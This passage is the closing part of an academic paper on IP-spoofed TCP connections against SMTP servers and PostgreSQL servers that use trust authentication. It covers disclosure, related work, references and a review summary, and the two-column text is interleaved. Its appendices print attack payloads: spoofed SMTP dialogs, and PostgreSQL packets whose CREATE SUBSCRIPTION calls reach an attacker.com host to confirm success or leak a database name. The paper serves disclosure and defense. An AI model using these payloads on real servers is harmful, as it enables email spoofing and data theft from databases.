feedback channels directly into the ACK packet. However, ethical principles. Most importantly, throughout this work,
the feedback channels remain possible if attackers put the we never spoofed somebody else’s IP addresses, except in
payload in a second (possibly delayed) ACK packet. Thus, local experiments. Furthermore, we refrained from causing
the defense mostly increases the attack costs. noticeable network or computational loads for real servers.
Enforce STARTTLS: In SMTP, the command STARTTLS In particular, we used rate limiting for any test that reaches
provides opportunistic TLS, which offers a way to upgrade a out to real servers. We did not receive a single request
plain text connection to an encrypted connection. The postfix throughout our experiments to opt out, which underlines the
team suggested to enforce the use of STARTTLS, which low-rate interactions we had with real-world servers.
will stop TCP spoofing and thus eliminate the motivation
for feedback channels. According to Gmail, 96% inbound 6. Related Work
emails are encrypted by July 2023, which makes us believe
that enforcing STARTTLS and email encryption is possible
6.1. TCP Spoofing
in practice [20]. Mandating TLS would immediately stop
the threat of TCP spoofing in SMTP.
TCP Spoofing Exploiting Predictable ISNs: Several
5.4.2. PostgreSQL Disclosure. We contacted the security Internet standards and respective proposals discuss the is-
contact points of the PostgreSQL team, outlining our re- sue of IP spoofing in TCP due to predictable ISNs. Al-
search to them. The PostgreSQL team acknowledged the ready in 1985, Morris observed that 4.2BSD used globally-
risk of the TCP spoofing attack for servers using trust predictable ISNs in TCP [29]—a consequence of the de-
authentication for non-local setups. They plan to update their scription how to deterministically increment global ISNs in
documentation accordingly to explicitly stress the security RFC 793. Morris was the first to realize and describe how
risk. attackers could abuse this weakness to create IP-spoofed
TCP connections, followed by an analysis of Bellovin [1].
5.4.3. TCP/IP Stack Disclosure. We contacted TCP’s IETF To overcome the vulnerability of predictable ISNs, first
working group, and disclosed the ghost ACK issue to them. in RFC 1948 [2] and then in RFC 6528 [19], Bellovin
proposed to separate the sequence number spaces per 4- 6.2. TCP Hijacking/Injection
tuples (i.e., source address/port, destination address/port).
This way, the RFCs conclude, IP-spoofed TCP connections Several other works target TCP injection attacks against
“remain possible if and only if the attacker already has the existing TCP streams, which is orthogonal to our work on
ability to perform man-in-the-middle attacks.”—an assess- initiating IP-spoofed connections. In 2007, RFC 4953 intro-
ment that no longer holds in 2023 because of the signifi- duced countermeasures against blind connection termination
cantly increased network speeds. And while Gont already attacks that abuse IP-spoofed RST segments to tear down
correctly concluded that “hosts should not establish trust TCP connections [47]. Feng et al. have demonstrated how
relationships based on the IP addresses” in 2012 [18], SPF is to abuse fragmentation to leak sequence numbers of TCP
a perfect example for the violation of this recommendation. connections [14], [15]. Likewise, Cao et al. [9] showed that
Since then, standardization efforts have not further continued earlier TCP/IP implementations that had global ACK limits
their consideration of IP-spoofed TCP connections. could be abused to leak the sequence number of existing
connections. Gilad and Herzberg [17] and lkm [27] abused
TCP Spoofing via Bruteforcing: Research on TCP a globally-increasing IPID value as a feedback channel to
spoofing focuses on how to establish an IP-spoofed TCP learn whether a TCP segment falls within the window—
connection. Blind TCP spoofing has limited utility due to abusing a weakness that is largely obsolete by now. Qian et
the high cost of exploiting spoofed connections without al. [36], [37] leverage a collaborating user-space malware
efficient send primitives. Blind TCP spoofing attacks known to launch injection attacks; a different threat model than
to us simply leverage payload piggybacking [26], with the ours. Also, vulnerabilities in Wi-Fi implementations allowed
limitations mentioned in Section 2. Our two payload trans- attackers to inject data into existing TCP streams [10].
mission primitives show that attackers can efficiently abuse Overall, TCP hijacking aims to hijack long-lasting TCP
IP-spoofed TCP connections to start interactive dialogs. connections. However, not all applications would maintain a
Noticeable prior works describe how to optimize hand- long-lasting TCP connection. For example, the two use cases
shake spoofing by abusing SYN cookies. Early proposals proposed in this research, i.e., SMTP and PostgreSQL, are
to encode the cookie in just 24 bits were quickly expanded not great targets for TCP hijacking. Compared to various
to 32 bits to increase the search space [4]. In 2013, a blog ways of leaking sequence and acknowledgment numbers
post by Lell [26] practically shows that SYN cookies shrink proposed in TCP hijacking attack research, we study pay-
the search space for ISN exploration. These approaches are load injection into attacker-initiated spoofed connections.
orthogonal to our work. Unlike us, their focus is on the Our application-specific feedback channels could also be
handshake phase, whereas we study mechanisms how to used in TCP hijacking attacks to acknowledge successful
transmit payloads over a spoofed connection. injection.

In contrast to bruteforcing-based TCP spoofing attack, 6.3. Other spoofing-based attacks

Qian and Mao, in [36], introduced a side channel that can
infer the server-chosen ISN, and thus can establish and use a IP spoofing has been extensively studied in other con-
spoofed TCP connection efficiently. However, the attack has texts. A plethora of work treats IP-spoofed SYN floods [12],
several requirements about the attacker’s capability that do [25], [42], [51] that SYN cookies defend against. IP spoofing
not apply to the feedback channels in our paper. First, the at- can also be used to launch reflective amplification attacks
tack requires an on-path sequence number checking firewall, in both UDP and TCP [5], [23], [38].
which drops packets with out-of-window sequence numbers.
Second, the attack requires a shared responsive intermediate 7. Conclusion
hop with a global IPID counter to verify whether a probe
We have known for decades that attackers can create
packet gets through the firewall or not. However, the global
IP-spoofed TCP connections with bruteforce efforts. But
IPID counter is known to be a noisy side channel [9], [14].
research has largely ignored studying the practical aspects of
In addition, due to the side channel threat, most operating
payload injection into spoofed TCP connections. Our work
systems (and hence, on-path hops) abandoned global IPID
shows that there are reliable send primitives attackers can
assignments in favor of non-leaky IPID generation schemes
use to send TCP payloads over spoofed TCP connections,
[21], [39]. Finally, the attacker needs to share certain parts
irrespective of the underlying application-layer protocol.
of the path between the victim client and the victim server.
This underlines once more that application-layer protocols
Attackers can thus not just spoof arbitrary IP addresses, but
should not rely on IP addresses alone for any security-
have to spoof addresses that follow this requirement.
critical checks such as authentication or firewalling—even
Our paper follows a less stringent threat model. Here, if TCP is used. Sadly, applications still place trust on IP
an attacker only requires the spoofing capability, but hence addresses, such as in our two use cases of SMTP and
has to bruteforce the server ISN to establish the connec- PostgreSQL. Our work shows that the mutual trust must
tion. The correct ISN is acknowledged once the connection not be based on IP addresses alone, given that attackers
is successfully established through feedback channels that have practical methods to bypass IP-based access control.
work even in the absence of middleboxes or global IPID We hope that this paper and our coordinated disclosure will
counters. raise awareness of this threat in the future.
Acknowledgement [18] Fernando Gont. Survey of Security Hardening Methods for Trans-
mission Control Protocol (TCP) Implementations. Technical report,
March 2012.
We want to thank our shepherd and reviewers for their
insightful comments. We also appreciate the active feedback [19] Fernando Gont and Steven Bellovin. Defending against Sequence
Number Attacks. RFC 6528, February 2012.
from the IETF working group, the Linux and *BSD devel-
opers, and the sendmail, Postfix and PostgreSQL developers. [20] Google. Google Transparency Report. https://transparencyreport.goo
gle.com/safer-email/overview?hl=en&encrypt in=start:1451606400
000, accessed at October 19, 2023.
References [21] Amit Klein and Benny Pinkas. From IP ID to Device ID and KASLR
Bypass. In 28th USENIX Security Symposium (USENIX Security 19),
[1] Steven M. Bellovin. Security Problems in the TCP/IP Protocol Suite. pages 1063–1080, Santa Clara, CA, 2019. https://www.usenix.org/c
Computer Communication Review, 19(2):32–48, 1989. https://doi.or onference/usenixsecurity19/presentation/klein.
g/10.1145/378444.378449.
[22] Johannes Krupp and Christian Rossow. BGPeek-a-Boo: Active BGP-
[2] Steven M. Bellovin. Defending Against Sequence Number Attacks. based Traceback for Amplification DDoS Attacks. In IEEE European
RFC 1948, May 1996. Symposium on Security and Privacy, pages 423–439, Vienna, Austria,
2021. https://doi.org/10.1109/EuroSP51992.2021.00036.
[3] Daniel J. Bernstein. SYN Cookie. http://cr.yp.to/syncookies/archive,
accessed at October 19, 2023. [23] Marc Kührer, Thomas Hupperich, Christian Rossow, and Thorsten
[4] Daniel J. Bernstein. SYN Cookie Improvement. http://cr.yp.to/synco Holz. Hell of a Handshake: Abusing TCP for Reflective Amplification
okies.html, accessed at October 19, 2023. DDoS Attacks. In USENIX Workshop on Offensive Technologies, San
Diego, CA, USA, 2014. https://www.usenix.org/conference/woot14
[5] Kevin Bock, Abdulrahman Alaraj, Yair Fax, Kyle Hurley, Eric Wus- /workshop-program/presentation/kuhrer.
trow, and Dave Levin. Weaponizing Middleboxes for TCP Reflected
Amplification. In USENIX Security Symposium, pages 3345–3361, [24] Krishan Kumar, A. L Sangal, and Abhinav Bhandari. Traceback
Virtual Event, 2021. https://www.usenix.org/conference/usenixsecuri techniques against DDOS attacks: A comprehensive review. In Inter-
ty21/presentation/bock. national Conference on Computer and Communication Technology,
pages 491–498, Allahabad, India, 2011. https://doi.org/10.1109/IC
[6] Bootlin. Linux Source Code - ACK Check. https://elixir.bootlin.com CCT.2011.6075132.
/linux/v6.5.6/source/net/ipv4/tcp input.c#L3794, accessed at October
19, 2023. [25] Felix Lau, Stuart H. Rubin, Michael H. Smith, and Ljiljana Trajkovic.
Distributed denial of service attacks. In IEEE International Confer-
[7] Bootlin. Linux Source Code - Retransmitted SYN Process. https:// ence on Systems, Man & Cybernetics, pages 2275–2280, Nashville,
elixir.bootlin.com/linux/latest/source/net/ipv4/tcp minisocks.c#L632, Tennessee, USA, 2000. https://doi.org/10.1109/ICSMC.2000.886455.
accessed at October 19, 2023.
[26] Jakob Lell. Quick Blind TCP Connection Spoofing with SYN
[8] Bootlin. Linux Source Code - Secure Tcp Sequence. https://elixir.b Cookies. https://www.jakoblell.com/blog/2013/08/13/quick-blin
ootlin.com/linux/v6.4.6/source/net/core/secure seq.c#L136, accessed d-tcp-connection-spoofing-with-syn-cookies/, accessed at October
at October 19, 2023. 19, 2023.
[9] Yue Cao, Zhiyun Qian, Zhongjie Wang, Tuan Dao, Srikanth V. [27] Lkm. Blind TCP/IP Hijacking is Still Alive, May 2007. http://phra
Krishnamurthy, and Lisa M. Marvel. Off-Path TCP Exploits: Global ck.org/issues/64/13.html, accessed at October 19, 2023.
Rate Limit Considered Dangerous. In USENIX Security Symposium,
pages 209–225, Austin, TX, USA, 2016. https://www.usenix.org/con [28] Matthew J. Luckie, Robert Beverly, Ryan Koga, Ken Keys, Joshua A.
ference/usenixsecurity16/technical-sessions/presentation/cao. Kroll, and kc claffy. Network Hygiene, Incentives, and Regulation:
Deployment of Source Address Validation in the Internet. In ACM
[10] Weiteng Chen and Zhiyun Qian. Off-Path TCP Exploit: How Wireless SIGSAC Conference on Computer and Communications Security,
Routers Can Jeopardize Your Secrets. In USENIX Security Sympo- pages 465–480, London, UK, 2019. https://doi.org/10.1145/3319
sium, pages 1581–1598, Baltimore, MD, USA, 2018. https://www.us 535.3354232.
enix.org/conference/usenixsecurity18/presentation/chen-weiteng.
[29] Robert T. Morris. A Weakness in the 4.2BSD Unix TCP/IP Software.
[11] Eric Dumazet. Linux Ghost ACK Mitigation. https://lore.kernel.or http://nil.lcs.mit.edu/rtm/papers/117-abstract.html, Accessed at Oct
g/netdev/[email protected]/T/#u, 19, 2023.
Accessed at Dec 5, 2023.
[30] MxToolBox. Gmail SPF Records. https://mxtoolbox.com/SuperToo
[12] Wesley Eddy. TCP SYN Flooding Attacks and Common Mitigations. l.aspx?action=spf%3agmail.com&run=toolpage, accessed at October
RFC 4987, August 2007. 19, 2023.
[13] Wesley Eddy. Transmission Control Protocol (TCP). RFC 9293, [31] MxToolBox. Outlook SPF Records. https://mxtoolbox.com/Supe
August 2022. rTool.aspx?action=spf%3aoutlook.com&run=toolpage, accessed at
[14] Xuewei Feng, Chuanpu Fu, Qi Li, Kun Sun, and Ke Xu. Off-Path October 19, 2023.
TCP Exploits of the Mixed IPID Assignment. In ACM SIGSAC [32] Avery Pennarun, Bill Allombert, and Petter Reinholdtsen. Debian
Conference on Computer and Communications Security, pages 1323– Popularity Contest. https://popcon.debian.org/, accessed at October
1335, Virtual Event, 2020. https://doi.org/10.1145/3372297.3417884. 19, 2023.
[15] Xuewei Feng, Qi Li, Kun Sun, Chuanpu Fu, and Ke Xu. Off-Path
[33] Victor Le Pochat, Tom van Goethem, Samaneh Tajalizadehkhoob,
TCP Hijacking Attacks via the Side Channel of Downgraded IPID.
Maciej Korczynski, and Wouter Joosen. Tranco: A Research-Oriented
IEEE/ACM Transactions on Networking, 30(1):409–422, 2022. https:
Top Sites Ranking Hardened Against Manipulation. In Network and
//doi.org/10.1109/TNET.2021.3115517.
Distributed System Security Symposium, San Diego, California, USA,
[16] Ned Freed. SMTP Service Extension for Command Pipelining. RFC 2019. https://www.ndss-symposium.org/ndss-paper/tranco-a-researc
2920, September 2000. h-oriented-top-sites-ranking-hardened-against-manipulation/.
[17] Yossi Gilad and Amir Herzberg. Off-Path TCP Injection Attacks. [34] Postfix. Postfix Stable Release 3.8.1, and Legacy Releases 3.7.6,
ACM Transactions on Information and System Security, 16(4):13, 3.6.10, 3.5.20. http://www.postfix.org/announcements/postfix-3.8.1.h
2014. https://doi.org/10.1145/2597173. tml, accessed at October 19, 2023.
[35] PostgreSQL. PostgreSQL Trust Authentication. https://www.postgr [51] Rizgar R. Zebari, Subhi R. M. Zeebaree, and Karwan Jacksi. Impact
esql.org/docs/current/auth-trust.html, accessed at October 19, 2023. Analysis of HTTP and SYN Flood DDoS Attacks on Apache 2 and
IIS 10.0 Web Servers. In International Conference on Advanced
[36] Zhiyun Qian and Zhuoqing Morley Mao. Off-path TCP Sequence
Science and Engineering, pages 156–161, Duhok & Zakho, Iraq,
Number Inference Attack - How Firewall Middleboxes Reduce Se-
2018. https://doi.org/10.1109/ICOASE.2018.8548783.
curity. In IEEE Symposium on Security and Privacy, pages 347–361,
San Francisco, California, USA, 2012. https://doi.org/10.1109/SP.2
012.29.
Appendix A.
[37] Zhiyun Qian, Zhuoqing Morley Mao, and Yinglian Xie. Collabora-
tive TCP sequence number inference attack: how to crack sequence
SMTP Feedback Channel Payload
number under a second. In ACM Conference on Computer and
Communications Security, pages 593–604, Raleigh, NC, USA, 2012.
https://doi.org/10.1145/2382196.2382258. HELO spoofed_domain\r\n
MAIL FROM:<mbox@spoofed_domain>\r\n
[38] Christian Rossow. Amplification Hell: Revisiting Network Protocols RCPT TO:<feedback_mbox@target_domain>\r\n
for DDoS Abuse. In Network and Distributed System Security DATA\r\n
Symposium, San Diego, California, USA, 2014. https://www.ndss From:mbox@spoofed_domain\r\n
-symposium.org/ndss2014/amplification-hell-revisiting-network-prot To:feedback_mbox@target_domain\r\n
ocols-ddos-abuse. Subject:1234567890\r\n\r\n
[39] Flavia Salutari, Danilo Cicalese, and Dario J. Rossi. A Closer Look mail body: 1234567890\r\n.\r\n
at IP-ID Behavior in the Wild. In Passive and Active Measurement, Listing 2: Example spoofing payload exploits email feed-
pages 243–254, Cham, 2018. https://doi.org/10.1007/978-3-319-76 back channel
481-8 18.
[40] Stefan Savage, David Wetherall, Anna R. Karlin, and Thomas E.
Anderson. Practical network support for IP traceback. In Conference
on Applications, Technologies, Architectures, and Protocols for Com- HELO attacker_domain\r\n
puter Communication, pages 295–306, Stockholm, Sweden, 2000. MAIL FROM:<1234567890@attacker_domain>\r\n
https://doi.org/10.1145/347059.347560. RCPT TO:<non_existing_mbox@target_domain>\r\n
DATA\r\n
[41] Stefan Savage, David Wetherall, Anna R. Karlin, and Thomas E. An- From:1234567890@attacker_domain\r\n
derson. Network support for IP traceback. IEEE/ACM Transactions To:non_existing_mbox@target_domain\r\n
on Networking, 9(3):226–237, 2001. https://doi.org/10.1109/90.929 Subject:subject\r\n\r\n
847. mail body\r\n.\r\n
[42] Christoph L. Schuba, Ivan Krsul, Markus G. Kuhn, Eugene H. Listing 3: Example spoofing payload exploits bounce feed-
Spafford, Aurobindo Sundaram, and Diego Zamboni. Analysis of
a Denial of Service Attack on TCP. In IEEE Symposium on back channel
Security and Privacy, pages 208–223, Oakland, CA, USA, 1997.
https://doi.org/10.1109/SECPRI.1997.601338. Appendix B.
[43] Stackoverflow. PostgreSQL Real-World use of IP Trust Authentica- PostgreSQL Feedback Channel Payload
tion Example-1. https://stackoverflow.com/questions/36020723/im-
trying-to-access-a-postgres-db-remotely-but-the-postgres-service-w
ont-star, accessed at October 19, 2023.
\ x00 \ x00 \ x00T \ x00 \ x03 \ x00
[44] Stackoverflow. PostgreSQL Real-World use of IP Trust Authentica- \x00user\ x00postgres
tion Example-2. https://stackoverflow.com/questions/50072284/how \x00database\ x00postgres
-to-connect-postgresql-database-on-remote-server-rails, accessed at \ x00application name \x00psql
October 19, 2023. \ x 0 0 c l i e n t e n c o d i n g \ x00UTF8
\ x00 \ x00
[45] Stackoverflow. PostgreSQL Real-World use of IP Trust Authentica-
Q\ x00 \ x00 \ x00e
tion Example-3. https://stackoverflow.com/questions/44038969/p
CREATE SUBSCRIPTION s u b 1 CONNECTION
ostgresql-wont-accept-remote-connections, accessed at October 19,
’ h o s t = n o t i f y . a t t a c k e r . com dbname=a ’
2023.
PUBLICATION pub1 ; \ x00
[46] Statisticsanddata.org. Most Popular Email Providers in History. https:
//statisticsanddata.org/data/most-popular-email-providers-in-history/,
Listing 4: Example PostgreSQL Spoofing Acknowledging
accessed at October 19, 2023. payload
[47] Dr. Joseph D. Touch. Defending TCP Against Spoofing Attacks. RFC
4953, July 2007. Q\ x00 \ x00 \ x01 \ x12
[48] Abraham Yaar, Adrian Perrig, and Dawn Xiaodong Song. FIT: Fast DO $$
Internet Traceback. In IEEE International Conference on Computer DECLARE a n s v a r c h a r ( 100 ) ;
Communications, pages 1395–1406, Miami, FL, USA, 2005. https: BEGIN
//doi.org/10.1109/INFCOM.2005.1498364. SELECT d a t n a m e from p g d a t a b a s e i n t o a n s
limit 1 offset 1;
[49] Ming-Hour Yang, Jia-Ning Luo, Vijayalakshmi Murugesan, and EXECUTE FORMAT(
S. Mercy Shalinie. Hybrid Multilayer Network Traceback to the Real ’CREATE SUBSCRIPTION s u b 1 CONNECTION
Sources of Attack Devices. IEEE Access, 8:201087–201097, 2020. ’ ’ h o s t=%s . a t t a c k e r . com , dbname=a ’ ’
https://doi.org/10.1109/ACCESS.2020.3034226. PUBLICATION pub1 WITH ( c r e a t e s l o t = f a l s e ) ’ , a n s
[50] Guang Yao, Jun Bi, and Athanasios V. Vasilakos. Passive IP Trace- );
back: Disclosing the Locations of IP Spoofers From Path Backscatter. END $$ ; \ x00
IEEE Transactions on Information Forensics and Security, 10(3):471– Listing 5: Example PostgreSQL Database Leaking Payload
484, 2015. https://doi.org/10.1109/TIFS.2014.2381873.
Appendix C. Appendix E.
Example SMTP Server Response Meta-Review
// Server Response 1 (200 bytes) The following meta-review was prepared by the program
// Collected from real mail service provider Tencent committee for the 2024 IEEE Symposium on Security and
220 newxmmxsza6-6.qq.com MX QQ Mail Server. Privacy (S&P) as part of the review process as detailed in
250-newxmmxsza6-6.qq.com
250-STARTTLS the call for papers.
250-8BITMIME
250-SIZE 73400320 E.1. Summary
250 OK
250 OK
250 OK This paper demonstrates new techniques to create TCP
354 End data with <CR><LF>.<CR><LF>. connections from a spoofed source IP address and sub-
250 OK: queued as. sequently send data over this spoofed connection. It is
Listing 6: Example SMTP server sesponse 1 shown how this can be abused against systems that use the
source IP address as a form of (secondary) authentication.
// Server Response 2 (200 bytes) Example attacks are the transmission of spam from a trusted
// Collected from real mail service provider Tencent source server and gaining access to SQL servers. The main
220 newxmmxszc7-4.qq.com MX QQ Mail Server.
250-newxmmxszc7-4.qq.com
challenge in the presented attacks is determining the TCP
250-STARTTLS sequence number generated by the target server, and the
250-8BITMIME paper proposes several side-channels to learn this secret
250-SIZE 73400320 number.
250 OK
250 OK
250 OK E.2. Scientific Contributions
354 End data with <CR><LF>.<CR><LF>.
250 OK: queued as.
• Addresses a Long-Known Issue
Listing 7: Example server response 2 • Identifies an Impactful Vulnerability
• Provides a Valuable Step Forward in an Established
Appendix D. Field
Example PostgreSQL Server Response • Creates a New Tool to Enable Future Science

// response size : 419 bytes E.3. Reasons for Acceptance

R\x00\x00\x00\x08\x00\x00\x00\x00
S\x00\x00\x00\x1aapplication_name\x00psql\x00
S\x00\x00\x00\x19client_encoding\x00UTF8\x00 1) The paper identifies vulnerabilities in well-known pro-
S\x00\x00\x00\x17DateStyle\x00ISO, MDY\x00 tocols in a well-explored field.
S\x00\x00\x00&default_transaction_read_only\x00off\x00 2) The paper proposes a method to establish a new con-
S\x00\x00\x00\x17in_hot_standby\x00off\x00 nection from a spoofed IP address, while previous
S\x00\x00\x00\x19integer_datetimes\x00on\x00
S\x00\x00\x00\x1bIntervalStyle\x00postgres\x00 attacks typically injected data into existing TCP con-
S\x00\x00\x00\x14is_superuser\x00on\x00 nections.
S\x00\x00\x00\x19server_encoding\x00UTF8\x00 3) The presented attacks appear impactful and practically
S\x00\x00\x007server_version\x0014.8 (Ubuntu 14.8- relevant.
0ubuntu0.22.10.1)\x00
S\x00\x00\x00#session_authorization\x00postgres\x00 4) The paper investigates an interesting suite of side-
S\x00\x00\x00#standard_conforming_strings\x00on\x00 channels to learn the Initial Sequence Number (ISN)
S\x00\x00\x00\x15TimeZone\x00Etc/UTC\x00 of the server.
K\x00\x00\x00\x0c\x00\x00\\xb7\\xf0\\xfa\\xe0@\x16
Z\x00\x00\x00\x05I
Listing 8: Example PostgreSQL server response to login
payload

// Response size : 223 bytes

E\x00\x00\x00\\xd9SERROR\x00VERROR\x00C08006\x00M
could not connect to the publisher: could not
translate host name "12345678.attacker.domain.com"
to address: No address associated with hostname\x00F
subscriptioncmds.c\x00L472\x00RCreateSubscription
\x00\x00
X\x00\x00\x00\x04
Listing 9: Example PostgreSQL server response to SUB-
SCRIPTION operation